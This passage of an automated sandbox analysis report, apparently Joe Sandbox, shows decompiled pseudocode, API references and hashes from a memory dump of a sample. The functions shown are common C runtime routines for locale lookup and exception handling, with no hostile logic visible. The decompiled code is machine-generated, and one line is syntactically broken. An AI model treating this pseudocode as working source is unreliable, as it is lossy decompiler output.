						goto L37;
					} else {
						_t42 = _a8;
						if(_t42 != 0) {
							 *_t42 = _t125;
						}
						_t119 = _a12;
						if(_t119 == 0) {
							L36:
							_t37 = 1;
							L38:
							return _t37;
						} else {
							_t95 = _v8;
							_t15 = _t119 + 0x120; // 0xd0
							_t86 = _t15;
							 *_t86 = 0;
							_t16 = _t95 + 2; // 0x6
							_t114 = _t16;
							do {
								_t45 =  *_t95;
								_t95 = _t95 + 2;
							} while (_t45 != _v12);
							_t18 = (_t95 - _t114 >> 1) + 1; // 0x3
							_t47 = E0042515D(_t86, 0x55, _v8);
							_t132 = _t131 + 0x10;
							if(_t47 != 0) {
								L39:
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E004134C4();
								asm("int3");
								_t130 = _t132;
								_t50 =  *0x43d054; // 0x298e9dc2
								_v52 = _t50 ^ _t132;
								_push(_t86);
								_push(_t125);
								_push(_t119);
								_t52 = E0041CAE3(_t97, _t114);
								_t87 = _t52;
								_t120 =  *(E0041CAE3(_t97, _t114) + 0x34c);
								_t127 = E0042745A(_v40);
								asm("sbb ecx, ecx");
								_t56 = GetLocaleInfoW(_t127, ( ~( *(_t52 + 0x64)) & 0xfffff005) + 0x1002,  &_v292, 0x78);
								if(_t56 != 0) {
									if(E00423962(_t120, _t127,  *((intOrPtr*)(_t87 + 0x54)),  &_v272) == 0 && E0042758C(_t127) != 0) {
										 *_t120 =  *_t120 | 0x00000004;
										_t120[2] = _t127;
										_t120[1] = _t127;
									}
									_t62 =  !( *_t120 >> 2) & 0x00000001;
								} else {
									 *_t120 =  *_t120 & _t56;
									_t62 = _t56 + 1;
								}
								_pop(_t121);
								_pop(_t128);
								_pop(_t88);
								return E0040EB3F(_t62, _t88, _v32 ^ _t130, _t114, _t121, _t128);
							} else {
								if(E0041E7A1(_t86, 0x1001, _t119, 0x40) == 0) {
									goto L37;
								} else {
									_t20 = _t119 + 0x80; // 0x30
									_t86 = _t20;
									_t21 = _t119 + 0x120; // 0xd0
									if(E0041E7A1(_t21, 0x1002, _t86, 0x40) == 0) {
										goto L37;
									} else {
										_push(0x5f);
										_t68 = E0042C0A7(_t97);
										_t97 = _t86;
										if(_t68 != 0) {
											L31:
											_t22 = _t119 + 0x120; // 0xd0
											if(E0041E7A1(_t22, 7, _t86, 0x40) == 0) {
												goto L37;
											} else {
												goto L32;
											}
										} else {
											_push(0x2e);
											_t73 = E0042C0A7(_t97);
											_t97 = _t86;
											if(_t73 == 0) {
												L32:
												_t119 = _t119 + 0x100;
												if(_t125 != 0xfde9) {
													E004132B8(_t97, _t125, _t119, 0x10, 0xa);
													goto L36;
												} else {
													_push(5);
													_t72 = E0042515D(_t119, 0x10, L"utf8");
													_t132 = _t132 + 0x10;
													if(_t72 != 0) {
														goto L39;
													} else {
														goto L36;
													}
												}
											} else {
												goto L31;
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00426d24
0x00426d25
0x00426d27
0x00426d2c
0x00426d33
0x00426d35
0x00426d38
0x00426d38
0x00426d3b
0x00426d3b
0x00426d41
0x00426d44
0x00426d47
0x00426d47
0x00426d4a
0x00426d4d
0x00426d4f
0x00426d55
0x00426d57
0x00426d5c
0x00426d66
0x00426d6b
0x00426d6d
0x00426d70
0x00426d70
0x00426d72
0x00426d76
0x00426dbf
0x00000000
0x00426d78
0x00426d7d
0x00426d86
0x00426d7f
0x00426d7f
0x00426d7f
0x00426d91
0x00426d9b
0x00426da0
0x00426da5
0x00426dab
0x00426daf
0x00426db8
0x00426db1
0x00426db1
0x00426db1
0x00426dc4
0x00426dc4
0x00426da5
0x00426d91
0x00426dca
0x00426f06
0x00426f06
0x00000000
0x00426dd0
0x00426dd0
0x00426dd9
0x00426dea
0x00426de0
0x00426de0
0x00426de0
0x00426df1
0x00426df5
0x00000000
0x00426e19
0x00426e19
0x00426e1e
0x00426e20
0x00426e20
0x00426e22
0x00426e27
0x00426f01
0x00426f03
0x00426f08
0x00426f0c
0x00426e2d
0x00426e2d
0x00426e30
0x00426e30
0x00426e38
0x00426e3b
0x00426e3b
0x00426e3e
0x00426e3e
0x00426e41
0x00426e44
0x00426e4e
0x00426e58
0x00426e5d
0x00426e62
0x00426f0d
0x00426f0f
0x00426f10
0x00426f11
0x00426f12
0x00426f13
0x00426f14
0x00426f19
0x00426f1d
0x00426f25
0x00426f2c
0x00426f2f
0x00426f30
0x00426f34
0x00426f35
0x00426f3a
0x00426f42
0x00426f51
0x00426f5d
0x00426f6e
0x00426f76
0x00426f90
0x00426f9d
0x00426fa0
0x00426fa3
0x00426fa3
0x00426fad
0x00426f78
0x00426f78
0x00426f7a
0x00426f7a
0x00426fb3
0x00426fb4
0x00426fb7
0x00426fbe
0x00426e68
0x00426e78
0x00000000
0x00426e7e
0x00426e80
0x00426e80
0x00426e8c
0x00426e9a
0x00000000
0x00426e9c
0x00426e9c
0x00426e9f
0x00426ea5
0x00426ea8
0x00426eb8
0x00426ebd
0x00426ecb
0x00000000
0x00000000
0x00000000
0x00000000
0x00426eaa
0x00426eaa
0x00426ead
0x00426eb3
0x00426eb6
0x00426ecd
0x00426ecd
0x00426ed9
0x00426ef9
0x00000000
0x00426edb
0x00426edb
0x00426ee5
0x00426eea
0x00426eef
0x00000000
0x00426ef1
0x00000000
0x00426ef1
0x00426eef
0x00000000
0x00000000
0x00000000
0x00426eb6
0x00426ea8
0x00426e9a
0x00426e78
0x00426e62
0x00426e27
0x00426df5

APIs

Part of subcall function 0041CAE3: GetLastError.KERNEL32(?,?,?,004135E1,?,00000000,00405D9E,?,00418114,?,00000000,74CB6490,?,0041820D,00405D9E,00000000), ref: 0041CAE8
Part of subcall function 0041CAE3: SetLastError.KERNEL32(00000000,00000007,000000FF,?,00418114,?,00000000,74CB6490,?,0041820D,00405D9E,00000000,?,00405D9E,?), ref: 0041CB86

GetACP.KERNEL32(?,?,?,?,?,?,0041B6E3,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00426DE0
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0041B6E3,?,?,?,00000055,?,-00000050,?,?), ref: 00426E0B
_wcschr.LIBVCRUNTIME ref: 00426E9F
_wcschr.LIBVCRUNTIME ref: 00426EAD
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00426F6E

Strings

)C, xrefs: 00426D96
utf8, xrefs: 00426EDD

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8$)C
API String ID: 4147378913-3322961178
Opcode ID: 1e4b7362e48a1a01d43ac940767bf56a8be7929704e6410f137690c61165a2d2
Instruction ID: 1ac1c2034c3d1488336133cf5d1b77168abf50f50dfeb51905c71ca67f6e6875
Opcode Fuzzy Hash: 1e4b7362e48a1a01d43ac940767bf56a8be7929704e6410f137690c61165a2d2
Instruction Fuzzy Hash: D1711A31B00225AADB25AB36FD46BB773A8EF44744F56402BF905D72C1EA7CD940875C

Uniqueness

Uniqueness Score: -1.00%

Function 00427680 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00427680(void* __ecx, void* __edx, void* __eflags, signed short _a4, short* _a8, short* _a12) {
				signed int _v8;
				int _v12;
				int _v16;
				char _v20;
				signed short* _v24;
				short* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t39;
				void* _t45;
				signed short* _t46;
				signed short _t47;
				short* _t48;
				int _t49;
				void* _t53;
				short* _t55;
				short* _t56;
				short* _t57;
				int _t64;
				int _t66;
				short* _t70;
				intOrPtr _t73;
				void* _t75;
				short* _t76;
				intOrPtr _t83;
				short* _t86;
				short* _t89;
				short** _t99;
				short* _t100;
				signed short _t101;
				signed int _t104;
				void* _t105;

				_t39 =  *0x43d054; // 0x298e9dc2
				_v8 = _t39 ^ _t104;
				_t86 = _a12;
				_t101 = _a4;
				_v28 = _a8;
				_v24 = E0041CAE3(__ecx, __edx) + 0x50;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t45 = E0041CAE3(__ecx, __edx);
				_t97 = 0;
				 *((intOrPtr*)(_t45 + 0x34c)) =  &_v20;
				_t89 = _t101 + 0x80;
				_t46 = _v24;
				 *_t46 = _t101;
				_t99 =  &(_t46[2]);
				 *_t99 = _t89;
				if(_t89 != 0 &&  *_t89 != 0) {
					_t83 =  *0x4329e4; // 0x17
					E0042761F(_t89, 0, 0x4328d0, _t83 - 1, _t99);
					_t46 = _v24;
					_t105 = _t105 + 0xc;
					_t97 = 0;
				}
				_v20 = _t97;
				_t47 =  *_t46;
				if(_t47 == 0 ||  *_t47 == _t97) {
					_t48 =  *_t99;
					__eflags = _t48;
					if(_t48 == 0) {
						L19:
						_v20 = 0x104;
						_t49 = GetUserDefaultLCID();
						_v12 = _t49;
						_v16 = _t49;
						goto L20;
					}
					__eflags =  *_t48 - _t97;
					if(__eflags == 0) {
						goto L19;
					}
					E00426FC1(_t89, _t97, __eflags,  &_v20);
					_pop(_t89);
					goto L20;
				} else {
					_t70 =  *_t99;
					if(_t70 == 0) {
						L8:
						E004270A7(_t89, _t97, __eflags,  &_v20);
						L9:
						_pop(_t89);
						if(_v20 != 0) {
							_t100 = 0;
							__eflags = 0;
							L25:
							asm("sbb esi, esi");
							_t101 = E004274AB(_t89,  ~_t101 & _t101 + 0x00000100,  &_v20);
							__eflags = _t101;
							if(_t101 == 0) {
								L22:
								_t53 = 0;
								L23:
								return E0040EB3F(_t53, _t86, _v8 ^ _t104, _t97, _t100, _t101);
							}
							_t55 = IsValidCodePage(_t101 & 0x0000ffff);
							__eflags = _t55;
							if(_t55 == 0) {
								goto L22;
							}
							_t56 = IsValidLocale(_v16, "true");
							__eflags = _t56;
							if(_t56 == 0) {
								goto L22;
							}
							_t57 = _v28;
							__eflags = _t57;
							if(_t57 != 0) {
								 *_t57 = _t101;
							}
							E0041E89F(_v16,  &(_v24[0x128]), 0x55, _t100);
							__eflags = _t86;
							if(_t86 == 0) {
								L34:
								_t53 = 1;
								goto L23;
							}
							_t33 =  &(_t86[0x90]); // 0xd0
							E0041E89F(_v16, _t33, 0x55, _t100);
							_t64 = GetLocaleInfoW(_v16, 0x1001, _t86, 0x40);
							__eflags = _t64;
							if(_t64 == 0) {
								goto L22;
							}
							_t36 =  &(_t86[0x40]); // 0x30
							_t66 = GetLocaleInfoW(_v12, 0x1002, _t36, 0x40);
							__eflags = _t66;
							if(_t66 == 0) {
								goto L22;
							}
							_t38 =  &(_t86[0x80]); // 0xb0
							E004132B8(_t38, _t101, _t38, 0x10, 0xa);
							goto L34;
						}
						_t73 =  *0x4328cc; // 0x41
						_t75 = E0042761F(_t89, _t97, "\xef\xbf\xbd)C", _t73 - 1						_t105 = _t105 + 0xc;
						if(_t75 == 0) {
							L20:
							_t100 = 0;
							__eflags = 0;
							L21:
							if(_v20 != 0) {
								goto L25;
							}
							goto L22;
						}
						_t76 =  *_t99;
						_t100 = 0;
						if(_t76 == 0) {
							L14:
							E004270A7(_t89, _t97, __eflags,  &_v20);
							L15:
							_pop(_t89);
							goto L21;
						}
						_t118 =  *_t76;
						if( *_t76 == 0) {
							goto L14;
						}
						E0042700C(_t89, _t97, _t118,  &_v20);
						goto L15;
					}
					_t114 =  *_t70 - _t97;
					if( *_t70 == _t97) {
						goto L8;
					}
					E0042700C(_t89, _t97, _t114,  &_v20);
					goto L9;
				}
			}

0x00427688
0x0042768f
0x00427696
0x0042769a
0x0042769e
0x004276ac
0x004276b1
0x004276b2
0x004276b3
0x004276b4
0x004276bc
0x004276be
0x004276c4
0x004276ca
0x004276cd
0x004276cf
0x004276d2
0x004276d6
0x004276dd
0x004276ea
0x004276ef
0x004276f2
0x004276f5
0x004276f5
0x004276f7
0x004276fa
0x004276fe
0x0042776e
0x00427770
0x00427772
0x00427785
0x00427785
0x0042778c
0x00427792
0x00427795
0x00000000
0x00427795
0x00427774
0x00427777
0x00000000
0x00000000
0x0042777d
0x00427782
0x00000000
0x00427705
0x00427705
0x00427709
0x0042771b
0x0042771f
0x00427724
0x00427728
0x00427729
0x004277b1
0x004277b1
0x004277b3
0x004277bf
0x004277c9
0x004277cd
0x004277cf
0x004277a0
0x004277a0
0x004277a2
0x004277b0
0x004277b0
0x004277d5
0x004277db
0x004277dd
0x00000000
0x00000000
0x004277e4
0x004277ea
0x004277ec
0x00000000
0x00000000
0x004277ee
0x004277f1
0x004277f3
0x004277f5
0x004277f5
0x00427806
0x0042780b
0x0042780d
0x0042786d
0x0042786f
0x00000000
0x0042786f
0x00427812
0x0042781c
0x0042782c
0x00427832
0x00427834
0x00000000
0x00000000
0x0042783c
0x0042784b
0x00427851
0x00427853
0x00000000
0x00000000
0x0042785d
0x00427865
0x00000000
0x0042786a
0x0042772f
0x0042773e
0x00427743
0x00427748
0x00427798
0x00427798
0x00427798
0x0042779a
0x0042779e
0x00000000
0x00000000
0x00000000
0x0042779e
0x0042774a
0x0042774c
0x00427750
0x00427762
0x00427766
0x0042776b
0x0042776b
0x00000000
0x0042776b
0x00427752
0x00427755
0x00000000
0x00000000
0x0042775b
0x00000000
0x0042775b
0x0042770b
0x0042770e
0x00000000
0x00000000
0x00427714
0x00000000
0x00427714

APIs

Part of subcall function 0041CAE3: GetLastError.KERNEL32(?,?,?,004135E1,?,00000000,00405D9E,?,00418114,?,00000000,74CB6490,?,0041820D,00405D9E,00000000), ref: 0041CAE8
Part of subcall function 0041CAE3: SetLastError.KERNEL32(00000000,00000007,000000FF,?,00418114,?,00000000,74CB6490,?,0041820D,00405D9E,00000000,?,00405D9E,?), ref: 0041CB86

Part of subcall function 0041CAE3: _free.LIBCMT ref: 0041CB45
Part of subcall function 0041CAE3: _free.LIBCMT ref: 0041CB7B

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0042778C
IsValidCodePage.KERNEL32(00000000), ref: 004277D5
IsValidLocale.KERNEL32(?,?), ref: 004277E4
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0042782C
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0042784B

Strings

)C, xrefs: 00427739

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID: )C
API String ID: 949163717-1336023901
Opcode ID: 62cf3f50e14746fb3c118b06f4c18b659e402b76327ea2da0e734593f5dbc1e5
Instruction ID: d4509d60825681c832198d9f8fea18a541154355106cd49d55bca7286e9735fd
Opcode Fuzzy Hash: 62cf3f50e14746fb3c118b06f4c18b659e402b76327ea2da0e734593f5dbc1e5
Instruction Fuzzy Hash: DD518571B042259FDB10EF65EC45ABF77B8AF48700F94447AE900E7250E778A944CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004274AB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E004274AB(void* __ecx, signed int _a4, intOrPtr _a8) {
				short _v8;
				short _t17;
				signed int _t18;
				signed int _t23;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t36;
				intOrPtr* _t37;

				_push(__ecx);
				_t23 = _a4;
				if(_t23 == 0) {
					L21:
					if(GetLocaleInfoW( *(_a8 + 8), 0x20001004,  &_v8, 2) != 0) {
						_t17 = _v8;
						if(_t17 == 0) {
							_t17 = GetACP();
						}
						L25:
						return _t17;
					}
					L22:
					_t17 = 0;
					goto L25;
				}
				_t18 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t36 = L"ACP";
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t36) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t18;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t37 = L"OCP";
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t37) {
								break;
							}
							if(_t31 == 0) {
								L17:
								if(_t18 != 0) {
									_t17 = E0041C782(_t23, _t23);
									goto L25;
								}
								if(GetLocaleInfoW( *(_a8 + 8), 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t17 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t37 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t37 = _t37 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t18 = _t18 | 0x00000001;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t36 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t36 = _t36 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				goto L9;
			}

0x004274b0
0x004274b1
0x004274b8
0x0042755c
0x00427575
0x0042757b
0x00427580
0x00427582
0x00427582
0x00427588
0x0042758b
0x0042758b
0x00427577
0x00427577
0x00000000
0x00427577
0x004274be
0x004274c3
0x00000000
0x00000000
0x004274c9
0x004274ce
0x004274d0
0x004274d0
0x004274d6
0x00000000
0x00000000
0x004274db
0x004274f2
0x004274f2
0x004274fb
0x004274fd
0x00000000
0x00000000
0x004274ff
0x00427504
0x00427506
0x00427506
0x0042750c
0x00000000
0x00000000
0x00427511
0x0042752f
0x00427531
0x00427554
0x00000000
0x00427559
0x0042754c
0x00000000
0x00000000
0x0042754e
0x00000000
0x0042754e
0x00427513
0x0042751b
0x00000000
0x00000000
0x0042751d
0x00427520
0x00427526
0x00000000
0x00000000
0x00000000
0x00427528
0x0042752a
0x0042752c
0x00000000
0x0042752c
0x004274dd
0x004274e5
0x00000000
0x00000000
0x004274e7
0x004274ea
0x004274f0
0x00000000
0x00000000
0x00000000
0x004274f0
0x004274f6
0x004274f8
0x00000000

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,004277C9,00000002,00000000,?,?,?,004277C9,?,00000000), ref: 00427544
GetLocaleInfoW.KERNEL32(?,20001004,004277C9,00000002,00000000,?,?,?,004277C9,?,00000000), ref: 0042756D
GetACP.KERNEL32(?,?,004277C9,?,00000000), ref: 00427582

Strings

OCP, xrefs: 004274FF
ACP, xrefs: 004274C9

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: d473ddd763a2c2c897fe5dcf6db478f1cae410dc6a90a74f6531b1057af5c91b
Instruction ID: 90c49e5929fcb85c1d91b10e44f9db7d24533e5021ea7a668e092faea0230e18
Opcode Fuzzy Hash: d473ddd763a2c2c897fe5dcf6db478f1cae410dc6a90a74f6531b1057af5c91b
Instruction Fuzzy Hash: A021D632708121B6DB349F14ED01AA7B3A6EB54B54BD68436E909C7610E73AEEC1C359

Uniqueness

Uniqueness Score: -1.00%

Function 004132EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E004132EB(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				char* _t49;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t60 = __ebx;
				_t40 =  *0x43d054; // 0x298e9dc2
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E0040F76B(_t41);
					_pop(_t61);
				}
				E00410A80(_t66,  &_v804, 0, 0x50);
				E00410A80(_t66,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t61;
				_v556 = _t65;
				_v560 = _t60;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t67 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter( &_v812) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					_t57 = E0040F76B(_t57);
				}
				return E0040EB3F(_t57, _t60, _v8 ^ _t69, _t65, _t67, _t68);
			}

0x004132eb
0x004132eb
0x004132eb
0x004132f6
0x004132fb
0x004132fd
0x00413305
0x00413307
0x0041330a
0x0041330f
0x0041330f
0x0041331b
0x0041332e
0x0041333c
0x00413342
0x00413348
0x0041334e
0x00413354
0x0041335a
0x00413360
0x00413366
0x0041336c
0x00413372
0x00413379
0x00413380
0x00413387
0x0041338e
0x00413395
0x0041339c
0x0041339d
0x004133a6
0x004133ac
0x004133af
0x004133b5
0x004133c2
0x004133cb
0x004133d4
0x004133dd
0x004133eb
0x004133ed
0x00413402
0x0041340e
0x00413411
0x00413416
0x00413423

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 004133E3
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 004133ED
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 004133FA

Strings

W7@, xrefs: 004132ED

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: W7@
API String ID: 3906539128-1885929603
Opcode ID: 3127bc4b47b8940ce26c548bf42a7b7d0cd117a66623673f01a1a8e442e3d1bf
Instruction ID: 3d63a0ada379e1d30a62e6f40e8ec19a37cfc804e77d6f7cae49c18167352078
Opcode Fuzzy Hash: 3127bc4b47b8940ce26c548bf42a7b7d0cd117a66623673f01a1a8e442e3d1bf
Instruction Fuzzy Hash: F831E3749012289BCB21DF69D989BDDBBB8BF08711F5041EAE41CA7290E7749FC58F48

Uniqueness

Uniqueness Score: -1.00%

Function 0040F575 Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040F575(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E0040F76B(_t34);
				 *_t60 = 0x2cc;
				_v632 = E00410A80(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E00410A80(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E0040F76B(_t49);
				}
				return _t49;
			}

0x0040f575
0x0040f575
0x0040f575
0x0040f589
0x0040f58b
0x0040f58e
0x0040f58e
0x0040f592
0x0040f597
0x0040f5af
0x0040f5b5
0x0040f5bb
0x0040f5c1
0x0040f5c7
0x0040f5cd
0x0040f5d3
0x0040f5da
0x0040f5e1
0x0040f5e8
0x0040f5ef
0x0040f5f6
0x0040f5fd
0x0040f5fe
0x0040f607
0x0040f60d
0x0040f610
0x0040f616
0x0040f625
0x0040f631
0x0040f63c
0x0040f643
0x0040f64a
0x0040f655
0x0040f65d
0x0040f666
0x0040f668
0x0040f66b
0x0040f66d
0x0040f677
0x0040f67f
0x0040f685
0x00000000
0x0040f68c
0x0040f68f

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0040F581
IsDebuggerPresent.KERNEL32 ref: 0040F64D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040F66D
UnhandledExceptionFilter.KERNEL32(?), ref: 0040F677

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b905c57fb93a7ea2142a1a6e2d5c4873a38ca60d89c803f25540929c33dac397
Instruction ID: bdde925d5d2ed3d21a984856afbab9e073522e1997f23bebbda1fc381632bbc5
Opcode Fuzzy Hash: b905c57fb93a7ea2142a1a6e2d5c4873a38ca60d89c803f25540929c33dac397
Instruction Fuzzy Hash: 8C314B75D413189BDB20DFA5D989BCDBBB8AF08304F1041FAE40DA7290EB755A898F49

Uniqueness

Uniqueness Score: -1.00%

Function 10002F80 Relevance: 6.1, APIs: 4, Instructions: 73
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E10002F80(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E1000309B(_t34);
				 *_t60 = 0x2cc;
				_v632 = E10003BE0(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
